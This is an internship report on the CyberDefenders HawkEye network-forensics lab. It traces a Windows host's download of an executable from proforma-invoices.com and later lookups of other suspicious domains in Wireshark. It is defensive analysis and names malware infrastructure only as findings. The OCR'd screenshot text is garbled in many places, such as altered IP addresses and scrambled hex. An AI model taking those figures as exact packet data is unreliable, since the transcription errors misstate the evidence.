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1. Objective

The objective of this task is to investigate the HawkEye Lab by analyzing the

provided evidence, identifying any suspicious network activity, and
documenting the steps, tools, observations, and findings throughout the

investigation.

2. Introduction

This report presents the investigation carried out for the HawkEye Lab as
part of my cybersecurity internship. It describes the process of analyzing
the provided evidence to identify suspicious network activity, along with

the tools used, the steps followed, key observations, and the final findings.

3. Lab Information

Field Details
Platform CyberDefenders
Challenge Name HawkEye

Category

Network Forensics

Evidence File

stealer.pcap

Primary Tool

Wireshark

Internship Type

Network Traffic Analysis

4. Tools Used

Tool Purpose

CyberDefenders Platform used to access and complete the
HawkEye challenge.

Wireshark Used to analyze the provided PCAP file

and examine network traffic.

Microsoft Windows

Used as the operating system to perform
the forensic investigation and execute the
required analysis tools.




5. Investigation Process

5.10pening the PCAP File

The stealer.pcap file was opened in Wireshark to begin the investigation.
After the file was loaded, Wireshark displayed the captured network
packets, including source and destination IP addresses, protocols, packet
length, and other packet details, providing an initial overview of the
captured network traffic.

stealer.pcap

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
AW @ TN RE QAesEF & =S= Q a Q EH

[I | Apply a display filter ... <Ctrl-/>

No. Time Source Destination Protocol Lengtl Info

3 ©.000137 10.4.10.132 10.4.10.4 54 49190 > 88 [ACK] Seg=1 Ack=1 Win=65536 Len=0
4 0.000166 10.4.10.132 10.4.10.4 382 AS-REQ
5 ©.808534 10.4.10.4 10.4.16.132 TCP 1514 88 > 49190 [ACK] Seg=1 Ack=329 Win=65536 Len=146@ [TCP PDU reassembled in 6]
6 0.600543 10.4.10.4 10.4.16.132 KRB5 245 AS-REP

7 ©.608574 10.4.16.132 10.4.16.4 TCP 54 49190 - 88 [ACK] Seq=329 Ack=1652 Win=65536 Len=9

9 0.000642 1e.4.10.4 10.4.10.132 54 88 > 4919@ [ACK] Seq=1652 Ack=33@ Win=65536 Len=0
10 ©.0008673 10.4.10.4 10.4.10.132 54 88 > 4919@ [RST, ACK] Seq=1652 Ack=330 Win=@ Len=©

13 8.001256 10.4.10.132 10.4.10.4 TCP 54 49191 » 88 [ACK] Sea=1 Ack=1 Win=65536 Len=8
> Frame 1: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) 0000 a4 1f 72 c2 @9 6a @0 @8 02 1c 47 ae @8 @@ 4500 --r--j-- --G---E-
> Ethernet II, Src: HewlettPacka_1c:47:ae (00:08:02:1c:47:ae), Dst: Dell c2:09:6a (a4:1f ggig Ze Zi 9; ;Z ‘;’g gg 82 gj :2 2% gg gg g: :g :g g;‘_' 4&@)( b
¥ X | a ¢ o C7 00 00 0O 00 80 B2 - & K- -c-c----
» Internet Protocol Version 4, Src: 10.4.10.132, Dst: 10.4.10.4 5635 20 00 fb 1c 8 00 02 B4 B85 bd 01 03 83 88 0L B1 - -« oo

> [Transmission Control Protocol, Src Port: 49190, Dst Port: 88, Seq: 0, Len: & | oo o4 02

‘ Packets: 4003 H Profile: Default

Figure 1. The stealer.pcap file loaded successfully in Wireshark, displaying the captured
network packets

@ 7 stealerpcap

Observation

The capture contained approximately 4,003 packets and included multiple protocols
such as TCP and Kerberos (KRB5), indicating that the capture contained multiple types of
network activity suitable for forensic analysis.



5.2 DNS Analysis

The DNS display filter was applied to focus only on DNS traffic in the captured

network data. This made it easier to view the domain name queries and

responses and understand which domains were being contacted during the

investigation.

e
Am gz ® RE QesEFE S = aqajilH
(Wdns BEd -]+
No. Time Source Destination Protocol Lengtl Info
—» 116 26.247746 10.4.10.132 16.4.10.4 DNS 134 Standard query @x9a2c SRV _ldap._tcp.Default-First-Site-Name._sites.PizzaJukebox-DC.pizzajuke |
o 117 26.248011 10.4.10.4 10.4.10.132 DNS 213 Standard query response ©x9a2c No such name SRV _ldap._tcp.Default-First-Site-Name._sites.Piz

118 26.248515 10.4.10.132 10.4.10.4 DNS 103 Standard query ©x3ee5 SRV _ldap._tcp.PizzaJlukebox-DC.pizzajukebox.com

119 26.248660 10.4.10.4 10.4.10.132 DNS 182 Standard query response ©x3ee5 No such name SRV _ldap._tcp.PizzaJukebox-DC.pizzajukebox.com S

174 26.781921 10.4.10.132 10.4.10.4 DNS 76 Standard query ©x8701 A dns.msftncsi.com

177 26.8e8255 10.4.10.4 10.4.10.132 DNS 92 Standard query response ©x8701 A dns.msftncsi.com A 131.187.255.255

204 46.661287 10.4.10.132 10.4.10.4 DNS 81 Standard query ©xa@@2 A proforma-invoices.com

206 47.447289 10.4.10.4 10.4.10.132 DNS 97 Standard query response ©xa@@2 A proforma-invoices.com A 217.182.138.158

3159 68.542554 10.4.10.132 10.4.10.4 DNS 85 Standard query ©x3f59 A bot.whatismyipaddress.com

3160 68.576418 10.4.10.4 10.4.10.132 DNS 101 Standard query response ©x3f59 A bot.whatismyipaddress.com A 66.171.248.178

3170 68.702274 10.4.10.132 10.4.10.4 DNS 78 Standard gquery ©x3daa A macwinlogistics.in

3171 68.783223 10.4.10.4 10.4.10.132 DNS 94 Standard query response ©x3daa A macwinlogistics.in A 23.229.162.69

3268 651.512137 10.4.10.132 10.4.10.4 DNS 81 Standard guery ©x65d6 A update.googleapis.com

Frame 116: 134 bytes on wire (1872 bits), 134 bytes captured (1072 bits)

Ethernet II, Src: HewlettPacka_lc:47:ae (©0:08:02:1c:47:ae), Dst: Dell _c2:09:6a (ad:1f
Internet Protocol Version 4, Src: 10.4.10.132, Dst: 10.4.10.4

User Datagram Protocol, Src Port: 51699, Dst Port: 53

Domain Name System (query)

@ 7 Domain Name System: Protocol

Figure 2. DNS traffic displayed after applying the DNS display filter in Wireshark.

Observation
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Profile: Default

The DNS traffic showed several queries and responses exchanged during the

communication. Both internal and external DNS queries were visible, providing a

clearer understanding of the network communication captured in the PCAP file.



5.3 HTTP Analysis

The HTTP display filter was applied to view only the HTTP traffic in the

captured network data. This made it easier to examine the HTTP requests

and responses exchanged during the communication.

stealerpeap - o X
Eile Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
Am:® BE QesEF35 = 0948fH
[E]htp (B3 -+
No. Time Source Destination Protocol Lengtl Info
219 47.597546 10.4.10.132 217.182.138.150 HTTP 392 GET /proforma/tkraw_Protected99.exe HTTP/1.1
i« 3155 48.947474 217.182.138.150 18.4.18.132 HTTP 790 HTTP/1.1 20@ OK (application/x-msdownload)
3164 68.640169 le.4.1e.132 66.171.248.178 HTTP 129 GET / HTTP/1.1
3166 68.691423 66.171.248.178 1e.4.18.132 HTTP 222 HTTP/1.1 280 OK (text/html)
3295 673.8085938 le.4.1e.132 66.171.248.178 HTTP 129 GET / HTTP/1.1
3297 673.872155 66.171.248.178 10.4.16.132 HTTP 222 HTTP/1.1 28@ OK (text/html)
3382 1277.329651 le.4.1e.132 66.171.248.178 HTTP 129 GET / HTTP/1.1
3384 1277.392746 66.171.248.178 10.4.10.132 HTTP 222 HTTP/1.1 280 OK (text/html)
3467 1883.897476 10.4.10.132 66.171.248.178 HTTP 129 GET / HTTP/1.1
3469 1883.154667 66.171.248.178 18.4.18.132 HTTP 222 HTTP/1.1 280 OK (text/html)
3582 2487.212975 10.4.10.132 66.171.248.178 HTTP 129 GET / HTTP/1.1
3584 2487.281178  66.171.248.178 10.4.18.132 HTTP 222 HTTP/1.1 260 OK (text/html)
3837 3091.379849 10.4.10.132 66.171.248.178 HTTP 129 GET / HTTP/1.1
> Frame 21@: 392 bytes on wire (3136 bits), 392 bytes captured (3136 bits) 20 e5 2a b6 93 f1 @@ @8 ©2 1c 47 ae @8 80 45 @@ *.. ‘G- -E
Ethernet II, Src: HewlettPacka_lc:47:ae (@@:08:@2:1c:47:ae), Dst: Netgear b6:93:f1 (2€ gl ;; 9; ;i 45: gg 32 BS 1: g: g; g“ g; :: gg :g z 4@P o
3 . . a 96 c al ¢ a 4P .
> Inter‘n?t If'l‘::tu:r.‘l Version 4, Src: 10.4.10.132, Dst: 217.182.138.15@ fa fo 24 95 08 @@ 47 45 54 208 2F 70 72 &f 66 6F $ . GE T /profo
Transmission Control Protocol, Src Port: 49204, Dst Port: 80, Seq: 1, Ack: 1, Len: 33§ 72 6d 61 2f 74 6b 72 61 77 5F 50 72 6F 74 65 63 rma/tkra w_Protec
> Hypertext Transfer Protocol 74 65 64 39 39 2e 65 78 65 20 48 54 54 58 2f 31 ted9%.ex e HTTP/1
2e 31 @d @a 41 63 63 65 70 74 3a 20 2a 2f 2a ed .1 Acce pt: */*
@a 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 Accept- Encoding
3a 20 67 7a 69 7@ 2c 28 64 65 66 6¢c 61 74 65 od : gzip, deflate
@a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a User-Ag ent: Moz
69 6c 6c 61 2f 34 2e 3@ 20 28 63 6f 6d 70 61 74 illa/4.@ (compat
69 62 6c 65 3b 20 4d 53 49 45 20 37 2e 30 3b 20 ible; Ms IE 7.9;
57 69 6e 64 6f 77 73 20 4e 54 20 36 2e 31 3b 28 MWindows NT 6.1;
57 4f 57 36 34 3b 28 54 72 €9 64 65 6e 74 2f 37  WOWE4; T rident/7
2e 30 3b 20 53 4c 43 43 32 3b 20 2e 4e 45 54 20 .@; SLCC 2; .NET
43 4c 52 2@ 32 2e 3@ 2e 35 3@ 37 32 37 3b 2@ 2e CLR 2.8. 5@727; .
d4e 45 54 2@ 43 4¢ 52 20 33 2e 35 2e 33 3@ 37 32 NET CLR 3.5.3872
11 39 3b 20 2e 4e 45 54 28 43 4c 52 20 33 2e 30 2e 9; .NET CLR 3.8.
@ 7 Hypertext Transfer Protocol: Protocal Packets: 4003 - Displayed: 16 (0.4%) Profile: Default

Figure 3. HTTP traffic displayed after applying the HTTP display filter in Wireshark.

Observation

The HTTP traffic showed several GET requests and HTTP 200 OK responses. An HTTP
request for an executable (.exe) file was also observed, making it an important part
of the investigation for further analysis.



5.4 TCP Stream Analysis

The Follow TCP Stream feature was used to view the complete
conversation between the client and the server. This made it easier to
examine the HTTP request, the server's response, and the data
exchanged during the communication.

Reason for Selection

The HTTP request for the executable (.exe) file was selected for further
analysis because executable files are often important during network
investigations and require closer examination.

A " Wireshark - Follow TCP Stream (tcp.stream eq 14) - stealer.pcap = o X
Pl ] ® ® & GET /proformal:krawﬁPr\ctectedSB.exe HTTP/1.1
Accept: */* |
[Lll:p.slreameqm Accept-Encoding: gzip, deflate [X] |+
5 User-Agent: Mozilla/4.@ (compatible; MSIE 7.8; Windows NT 6.1; WOW64; Trident/7.8; SLCC2; .NET CLR 2.0.56727; .N E
No. Time Sourd  eT cLR 3.5.38729; .NET CLR 3.8.38729; Media Center PC 6.8; .NET4.0C; .NET4.8E) |
287 47.459211 1.4 Host: proforma-invoices.com

208 47.597144 217.1 Connection: Keep-Alive
289 47.597387 le.4

HTTP/1.1 20@ OK

Last-Modified: Wed, 10 Apr 2019 84:44:31 GMT
Content-Type: application/x-msdownload

211 47.597689 217.1

212 47.734586 217.1 mbled in 3155]

213 47.734775  18.41 Content-Length: 2025472 )
214 47.734874 2120 | A cept-Ranges: bytes hssembled in 3155]
215 47.735812 10.4) pate: Wed, 10 Apr 2019 28:37:54 GMT
216 47.735120 217.1 Server: LiteSpeed assembled in 3155]
217 47.735187 18.4/] Connection: Keep-Alive
218 47.735233 217.1 gassembled in 3155]
219 47.735279 18.4
Frame 21@: 392 bytes on W 3 G - E
Ethernet II, Src: Hewlett z @

.. -4-P-- MBE--]P
--$---GE T /profo
rma/tkra w_Protec
tede9.ex e HTTP/1
L1--Acce pt: */*
-Accept- Encoding
: gzip, deflate
User-Ag ent: Moz
aso o= illa/4.@ (compat
el b e cfle A AT adln N T e lfnc B ancibd e nSnncNienoad Tedfnoc e i (G . fible; MS IE 7.9;
1 client pkt, 736 server pkts, 1 turn, Windows NT 6.1;
. powsa; T rident/7
Showas A No delta times steam 14+ [y sicc 2; .NET
— CLR 2.8, 50727; .
Find: L Case sensitive Find N: NET CLR 3.5.3072
B; -NET CLR 3.8.

Internet Protocol Version
Transmission Control Prot|
Hypertext Transfer Protoc

Back Close Help

Marked: 1 (0.0%) Profile: Default

Figure 4. TCP stream showing the complete HTTP communication between the client

@ 7 Bytes 54-56: Request Meth

and the server.

Observation

The TCP stream showed an HTTP GET request for the file tkraw_Protected99.exe
from proforma-invoices.com. The server responded with HTTP 200 OK, and the
content-type application/x-msdownload indicating that the server delivered a
Windows executable (.exe) file to the client.



5.5Capture File Properties

The Capture File Properties window was examined to verify the metadata
of the captured PCAP file before performing detailed traffic analysis. This
window provides information such as the capture duration, help validate
the integrity of the captured network traffic.

" Wireshark - Capture File Properties - stealer. pcap

Details
Lengin: 2454 K5
Hash (SHA256): 22106927c11836d29078dfbec20be9d6b61b113f47f95c758accaTalfba24e51
Hash (SHAT): 084d3ade8ce82800233b69275c8554a86d9670ab
Format: Wireshark/tcpdumpt... - pcap

Encapsulation: Ethernet
Snapshot length: 65535
Time
First packet: 2019-04-11 02:07:07
Last packet: 2019-04-11 03:10:48
Elapsed: 01:03:41
Capture
Hardware: Unknown
0s: Unknown
Application: Unknown
Interfaces
Interface Dropped packets Capture filter Link type Packet size limit {snaplen!
Unknown Unknown Unknown Ethernet 65535 bytes
Statistics
Measurement Captured Displayed Marked
Packets 4003 4003 (100.0%) —
Time span, s 3821.561 3821.561 —
Average pps 10 10 —
Average packet size, B 597 597 -
Bytes 2390126 2390126 (100.0%) o
Average bytes/s 625 625 —
Average bits/s 5003 5003 —
Refresh Edit Comments Close Copy To Clipboard Help

Figure 5. Capture File Properties window displayed in Wireshark.

Observation

The Capture File Properties confirmed that the evidence file contained
approximately 4,003 packets with a capture duration of about one hour. The file was
stored in PCAP format using Ethernet encapsulation, indicating that sufficient
network evidence was available for a comprehensive forensic investigation.



5.6 Ethernet Endpoint Statistics

The Ethernet Endpoint Statistics window was reviewed to identify the physical network
devices involved in the captured communication. This feature summarizes the packet
count, transmitted and received bytes, and overall network activity for each Ethernet
(MAC) address, helping identify the most active endpoints in the capture.

| Wireshark - Endpoints - stealerpcap

Endpoint Settings Ethernet-7  IPv4-12  IPv6  TCP-48  UDP-58
() Name resolution Address Pac\l/(ets Bytes Tx Packets TxBytes RxPackets Rx Bytes
00:08:02:1c:47:ae 4,003 2 MB 1,993  212kB 2,010 2 MB
[ Limit to display filter 20:e5:2ab6:93:f1 3352 2 MB 1776 2MB 1576 110kB
ad:1:72:c2:09:6a 513 114 kB 234 46 kB 279 68 kB
Copy - 01:00:5e:7f::fa 74 29 kB 0 0 bytes 74 29 kB
Af A £ 31 4 kB 0 0 bytes 31 4 kB
Map = 01:00:5e:00:00:16 23 1kB 0 0 bytes 23 1 kB
01:00:5e:00:00:fc 10 750 bytes 0 0 bytes 10 750 bytes
Protocol h
(] Bluetooth
() BPv
(] Dbcep
|§ Ethernet |
() FC
() rDDI
() IEEE802.11
() IEEE 802.154
Filter list for specific type
Close Help

Figure 6. Ethernet Endpoint Statistics displayed in Wireshark.

Observation

The Ethernet Endpoint Statistics identified several communicating devices during the
network capture. Two primary Ethernet endpoints accounted for the majority of the
captured network traffic, exchanging approximately 4,003 packets. This information
helped identify the primary systems involved in the communication and prioritize
them for further forensic analysis.



5.7 IPv4 Endpoint Statistics

The IPv4 Endpoint Statistics window was examined to identify the IP addresses involved
in the captured network communication. This feature summarizes the network activity
of each IP address by displaying packet counts, transmitted and received bytes, helping
identify the most active hosts involved in the captured communication.

_ | Wireshark - Endpoints - stealer.pcap

Endpoint Settings Ethemet-7  IPv4-12  IPv6  TCP-48  UDP.58
Name resolution Address Packets Bytes Tx Packets TxBytes Rx Packets RxBytes Country
o ] 104.10.2 42 5 kB 0 O bytes 42 5kB
() Limit to display filter 104.10.4 513 114kB 234 46kB 279 68kB
10.4.10.132 4,003 2 MB 1,993 212kB 2,010 2 MB
Copy - 10.4.10.255 30 3 kB 0 O bytes 30 3kB
23.229.162.69 280 39 kB 161 13 kB 119 26 kB
Map > 66.171.248.178 63 5kB 28 3 kB 35 2 kB
216.58.193.131 20 8 kB i 6 kB 9 3kB
Protocol 217.182.138.150 2947  2MB 1576  2MB 1371 74kB
() Bluetooth 224.0.0.22 23 1kB 0 O bytes 23 1kB
O 8pv7 224.0.0.252 10 750 bytes 0 O bytes 10 750 bytes
(] Dccp 239.255.255.250 74 29 kB 0 0O bytes 74 29 kB
@ FEthernet 255.255.255.255 1 342 bytes 0 0 bytes 1 342 bytes
[0 rC
(] FrDDI
[J  IEEE 802.11
() IEEE 802.154
Filter list for specific type
Close Help

Figure 7. IPv4 Endpoint Statistics window displayed in Wireshark.

Observation

The IPv4 Endpoint Statistics revealed multiple internal and external IP addresses
participating in the captured communication. The victim system (10.4.10.132)
accounted for the highest packet count in the capture and communicated with
multiple external IP addresses during the investigation. These statistics helped
identify the primary hosts involved in the communication and supported further
analysis of the captured network traffic.

10



5.8 Kerberos Authentication Analysis

The Kerberos (KRB5) protocol was analyzed to examine authentication traffic within the

captured network communication. Kerberos packets often contain valuable information

about user authentication and system identities, making them useful for identifying the

hostname and domain information of the victim machine during a forensic investigation.

stealer.pcap - =] X
Flle Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
L ® RE QesEF s = aqailH
[R]kerberos B -]+
i —
No. Time Source Destination Protocol Length Info
= 4 2019-84-18 28:37:87.129896 10.4.10.132 10.4,10.4 KRBS 382 AS-REQ
m 6 2015-84-10 20:37:67.136273 10.4.10.4 16.4.10.132 KRBS 245 AS-REP
15 2019-84-16 20:37:07.131622 10.4.10.132 10.4.10.4 KRES 287 TGS-REQ
18 2019-84-16 20:37:67.131413 10.4.18.4 10.4.16.132 KRES 170 TGS-REP
26 2019-84-1@ 20:37:32.783879 10.4.18.132 10.4.18.4 KRES 291 AS-REQ
27 2019-84-16 20:37:32.784696 10.4.18.4 18.4.10.132 KRES 298 KRB Error: KRBSKDC_ERR_PREAUTH_REQUIRED
34 2019-84-18 20:37:32.792423 10.4.18.132 10.4.10.4 KRES 371 AS-REQ
36 2019-84-10 28:37:32.793064 10.4.10.4 10.4,10.132 KRBS 224 AS-REP
45 2019-84-16 20:37:32.793510 10.4.10.132 10.4.10.4 KRBS 118 TGS-REQ
48 2019-04-16 20:37:32.794349 10.4.10.4 10.4.10.132 KRES 149 TGS-REP
64 2019-84-16 20:37:32.860326 10.4.10.132 10.4.10.4 KRES 283 TGS-REQ
67 2019-84-16 20:37:32.861124 10.4.18.4 18.4.10.132 KRES 262 TGS-REP
83 2019-84-16 20:37:32.891801 10.4.18.132 10.4.10.4 KRES 265 TGS-REQ
> Record Mark: 324 bytes 9 8112 a2 3a @4 38 @b c5 9f 68 78 25 2f e2 1a be
v as-reg 3b do 8b dS af 7f 76 el 79 cl fe 96 @e 4a b9 38
puno: 5 ¢ d8 a4 77 9c ce da d3 8c 65 58 40 35 91 39 e5 of
e 2026 2d cd fd 20 @ 56 91 51 84 9b cb 52 bb 82 38 11
msg-type: krb-as-req (18) )20 al B4 B2 92 9@ 8 a2 @9 @4 @7 3@ @5 a@ @3 1 el
padata: 2 items ff ad 81 ca 30 81 c7 a@ ©7 ©3 85 00 40 81 00 10
~ req-body 98ce® al 1d 36 1b a0 €3 82 81 @1 al 14 30 12 1b 18 E s}
Padding: @ [LECINAS 49 4a 43 4e 47 2d 35 43 44 31 2d 56 43 240FF) EIJING 5 CD1-PCSR
T 12 1b 16 50 49 5a 5a 41 4a 55 4b 45 42 4f 58 2e -PIZZA JUKEBOX.
> kdc-options: 4@81ee18 o7C 43 af 4d a3 25 30 23 a6 03 62 61 02 &1 1c 30 1a  COM-EB#. -+--.-0.
¥ cname 166 1b @6 6b 72 62 74 67 74 1b 10 50 49 5a 5a 41 4a  --krbtgt --PIZZAJ
name-type: kRBS-NT-PRINCIPAL (1) ° 55 4b 45 42 4f 58 2e 43 4f 4d a5 11 18 Of 32 38 UKEBOX.C OM----20
~ cname-string: 1 item 33 37 36 39 31 33 30 32 34 38 30 35 5a a6 11 18 37091302 4885Z- -
e R e B
L 9140 a 38 15 30 13 02 81 12 82 c- - Hee o Beenn-
realm: PIZZAILKEEOX.COM 56 @111 02 01 17 02 @1 18 02 02 FF 79 02 01 03 89  -------- o (yacos
sname 1d 30 1b 30 19 a0 03 92 01 14 al 12 64 10 42 45 -9-@---- ------B
. ettt - © 49 da 49 4e 47 2d 35 43 44 31 2d 50 43 20 I3ING-5C D1-PC
@ 7 CNameString (kerberos.CNameString), 16 bytes Packets: 4003 - Displayed: 40 (1.0%) Profile: Default

Figure 8. Kerberos authentication traffic revealing the victim system hostname.

Observation

The Kerberos authentication packets identified the victim hostname as BEIJING-
5CD1-PC, confirming the identity of the compromised system. This information

helped correlate the captured network traffic with the victim machine and provided

additional context for the forensic investigation.

11



5.9 DNS Investigation

The Domain Name System (DNS) traffic was analyzed to examine the domain name

resolution process performed by the victim system during the captured network

communication. DNS analysis helps identify the external domains contacted by a

compromised system and allows investigators to trace potentially malicious network

activity. The captured DNS queries and responses were further examined to

identify suspicious domains and their corresponding IP addresses.

| stealer.pcap = ] X
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
4 m @ RE Q &=EGFS EaaafH
[W]dns B -]+
No. Time Source Destination Protocol Length  Info
[= 116 2e19-84-1@ 20:37:33.377476[10.4.16.132 18.4.10.4 DNS 134 Standard query @x9a2c SRV _ldap._tcp.Default-First-Site-Name._sites.Pizzalukeb

117 2019-04-1@ 20:37:33.377741 10.4.10.4 18.4.10.132 DNS 213 Standard query response @x9a2c Mo such name SRV _ldap._tcp.Default-First-Site-

118 2019-84-10 20:37:33.378245 18.4.18.132 18.4.18.4 DNS 103 Standard query &x3ee5 SRV _ldap._tcp.Pizzalukebox-DC.pizzajukebox.com

119 2019-84-10 20:37:33.378390 10.4.10.4 10.4.18.132 DNS 182 Standard query response @x3ee5 No such name SRV _ldap._tcp.Pizzalukebox-DC.piz

174 2019-84-18 20:37:33.911651 10.4.18.132 10.4.10.4 DNS 76 Standard query ©x8781 A dns.msftncsi.com

177 2019-e4-1@ 20:37:33.937985 10.4.18.4 16.4.18.132 DNS 92 Standard query response @x8701 A dns.msftncsi.com A 131.187.255.255

204 2019-84-10 20:37:53.791017 10.4.16.132 16.4.10.4 DNS 81 Standard query @xa@@2 A proforma-inveices.com

206 2019-84-10 20:37:54.577019 10.4.10.4 18.4.1@.132 DNS 97 Standard query response @xade2 A proforma-invoices.com A 217.182.138.15@

3159 2019-04-10 20:38:15.672284 10.4.10.132 18.4.10.4 DNS 85 Standard query @x3f59 A bot.whatismyipaddress.com

31608 2019-84-10 20:38:15.786148 10.4.10.4 10.4.18.132 DNS 101 Standard query response @x3f59 A bot.whatismyipaddress.com A 66.171.248.178

3179 2019-84-10 20:38:15.832004 10.4.10.132 10.4.10.4 DNS 78 Standard query @x3daa A macwinlogistics.in

3171 2019-04-18 20:38:15.912953 10.4.10.4 16.4.10.132 DNS 94 Standard query response @x3daa A macwinlogistics.in A 23.229.162.69

3268 2019-04-10 20:47:58.641867 10.4.10.132 16.4.18.4 DNS 81 Standard query ©x65d6 A update.googleapis.com

Frame 116: 134 bytes on wire (1072 bits), 134 bytes captured (1072 bits) a4 1f 72 c2 @9 6a 90 08 ©2 1c 47 ae 08 @@ 45 @0
Ethernet II, Src: HewlettPacka_lc:47:ae (80:08:02:1c:47:ae), Dst: Dell_c2:@9:6a (a4:1f:72:c2:09:6a) 9616 @e 78 @1 6B @0 00 B6 11 10 7e @a 04 @a 84 0a &4

Internet Protocol Version 4, Src: 10.4,18.132, Dst: 10.4.10.4
User Datagram Protocol, Src Port: 51699, Dst Port: 53
> Domain Name System (query)

@ 7 Domain Name System: Protocol

Figure 9. DNS query and response traffic displayed in Wireshark.

Observation

©a 84 c9 f3 @0 35 @@ 64 d@ c9 9a 2c 91 @@ ee el

@30 90 00 90 20 @0 @0 @5 5f 6c 64 61 70 @4 5f 74 63

B84 7@ 17 44 65 66 61 75 6c 74 2d 46 69 72 73 74 2d

9050 53 69 74 65 2d 4e 61 6d 65 @6 5 73 69 74 65 73

eco of 50 69 7a 7a 61 42 75 6b 65 62 6f 78 2d 44 43

9870 @c 7@ €9 7a 7a 61 6a 75 6b 65 62 6f 78 @3 63 6F
50 6d @@ ee 21 ee el

Packets: 4003 - Displayed: 74 (1.8%) Profile: Default

The DNS traffic contained multiple query and response packets exchanged between

the victim system and the DNS server. These records confirmed active domain

resolution during the captured session and helped identify suspicious domains for

further investigation.
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File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

dm2® RE ] &= P ElaaeEH
(W ]dns
No. Time Source Destination Protocol Length  Info e
116 2019-04-18 28:37:33.377476 10.4.10.132 18.4.18.4 DNS. 134 Standard query @x9a2c SRV _ldap._tcp.Default-First-Site-Name._sites.Pizzalukeb I
117 2019-84-18 20:37:33.377741 10.4.10.4 16.4.10.132 DNS 213 Standard query response @x9a2c No such name SRV _ldap._tcp.Default-First-Site-
118 2019-084-10 20:37:33.378245 10.4.18.132 16.4.10.4 DNS 1@3 Standard query @x3ee5 SRV _ldap._tcp.Pizzalukebox-DC.pizzajukebox.com
119 2019-84-1@ 20:37:33.37839¢ 10.4.10.4 10.4.10.132 DNS 182 Standard query response @x3eeS No such name SRV _ldap._tcp.Pizzalukebox-DC.piz
174 2019-04-10@ 208:37:33.911651 10.4.18.132 18.4.10.4 DNS 76 Standard query @x8781 A dns.msftncsi.com
177 2019-04-18 28:37:33.937985 10.4.10.4 10.4.10.132 DNS. 92 Standard guery response @x8781 A dns.msftncsi.com A 131.107.255.255
- 284 2019-04-10 208:37:53.791017 10.4.10.132 10.4.10.4 DNS 81 Standard query ©xa@@2 A proforma-invoices.com
o 2086 2019-04-18 20:37:54.577019 10.4.18.4 16.4.10.132 DNS 97 Standard query response ©xa@@2 A proforma-invoices.com A 217.182.138.15@
3159 2819-@4-10 20:38:15.672284 10.4.10.132 10.4.10.4 DNS 85 Standard guery @x3f59 A bot.whatismyipaddress.com
3160 2019-04-10 20:38:15.706148 10.4.10.4 10.4.10.132 DNS 101 Standard query response @x3f59 A bot.whatismyipaddress.com A 66.171.248.178
3170 2019-04-18 20:38:15,832004 10.4.10.132 10.4.10.4 DNS. 78 Standard query @x3daa A macwinlogistics.in
3171 2019-04-10 20:38:15.912953 10.4.10.4 16.4.10.132 DNS 94 Standard query response @x3daa A macwinlogistics.in A 23.229.162.69
3268 2019-04-10 20:47:58.641867 10.4.109.132 16.4.10.4 DNS 81 Standard query @x65dé A update.googleapis.com

Frame 204: 81 bytes on wire (648 bits), 81 bytes captured (648 bits)
Ethernet II, Src: HewlettPacka_lc:47:ae (00:08:02:1c:47:ae), Dst: Dell _c2:09:6a (ad:1f:72:c2:09:6a)
Internet Protocol Version 4, Src: 10.4.10.132, Dst: 18.4.10.4
» User Datagram Protocol, Src Port: 54662, Dst Port: 53
~ Domain Name System (query)
Transaction ID: @xa@@2
» Flags: exe1le@ Standard query
Questions: 1
Answer RRs: @
Authority RRs: @
Additional RRs: @
~ [Queries
> proforma-invoices.com: type A, class IN
Response In: 266

1F 72 c2 09 6a [ICEMIEE 1c 47 ae 88 00 45 @0
43 01 9F @0 90 86 11 10 7c 9a B4 0a B4 0a 04
84 d5 86 @@ 35 @0 2f 7e d2 a@ 92 @1 90 0@ 81
20 00 60 @8 90 11 70 72 6f 66 6f 72 6d 61 2d
6e 76 6f 69 63 65 73 @3 63 6f 6d 00 00 01 09

@ 7 Textitem (text), 27 bytes Packets: 4003 - Displayed: 74 (1.8%) Profile: Default

Figure 10. DNS query for the suspicious domain proforma-invoices.com.

Observation

The DNS query shows that the victim system attempted to resolve proforma-
invoices.com indicating that it was a suspicious domain involved in the captured
network activity.

stealer.pcap -
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
dm 7 ® RE Q&= ¥ = aaaffH
[A]dns [BED -]+
No. Time Source Destination Protocol Length Info
116 2019-04-18 20:37:33.377476 10.4.10.132 18.4.10.4 DNS 134 Standard query @x9a2c SRV _ldap<_tcp.Default—First-S:ite—Name»_sites.Pizza]ukeb_ I
117 2019-84-10 208:37:33.377741 10.4.18.4 10.4.10.132 DNS 213 Standard query response 8x3a2c No such name SRV _ldap._tcp.Default-First-Site-
118 2019-84-18 20:37:33.378245 10.4.108.132 18.4.10.4 DNS 1e3 Standard query @x3ee5 SRV _ldap._tcp.Pizzalukebox-DC.pizzajukebox.com
119 2019-04-18 2@ 33.378390 10.4.10.4 10.4.10.132 DNS 182 Standard query response @x3ee5 No such name SRV _ldap._ tcp.Pizzalukebox-DC.piz
174 2019-84-18 28 33.911651 10.4.18.132 18.4.18.4 DNS 76 Standard query @x87@1 A dns.msftncsi.com
177 2019-04-1@ 20:37:33.937985 10.4.10.4 10.4.10.132 DNS 92 Standard query response @x87@1 A dns.msftncsi.com A 131.107.255.255
i 204 2019-84-18 28:37:53.791017 19.4.18.132 18.4.10.4 DNS 81 Standard query ©@xa@82 A proforma-invoices.com
< 206 2019-84-10 20:37:54.577019 10.4.10.4 10.4.10.132 DNS 97 Standard query response @xa@d2 A proforma-invoices.com A 217.182.138.15@
3159 2019-84-10 208:38:15.672284 108.4.18.132 le.4.10.4 DNS 85 Standard query @x3f59 A bot.whatismyipaddress.com
3160 2019-84-1@ 208:38:15.706148 10.4.18.4 18.4.10.132 DNS 1e1 Standard query response @x3f59 A bot.whatismyipaddress.com A 66.171.248.178
3170 2019-04-10 20:38:15.832004 18.4.10.132 10.4.10.4 DNS 78 Standard query @x3daa A macwinlogistics.in
3171 2019-84-10 20:38:15.912953 18.4.10.4 10.4.10.132 DNS 94 Standard query response @x3daa A macwinlogistics.in A 23.229.162.69
3268 2819-84-18 20:47:58.641867 10.4.18.132 18.4.10.4 DNS 81 Standard query @x65d6 A update.googleapis.com

1c 47 se a4 1f 72 c2 ©9 6a @8 @0 45 @@
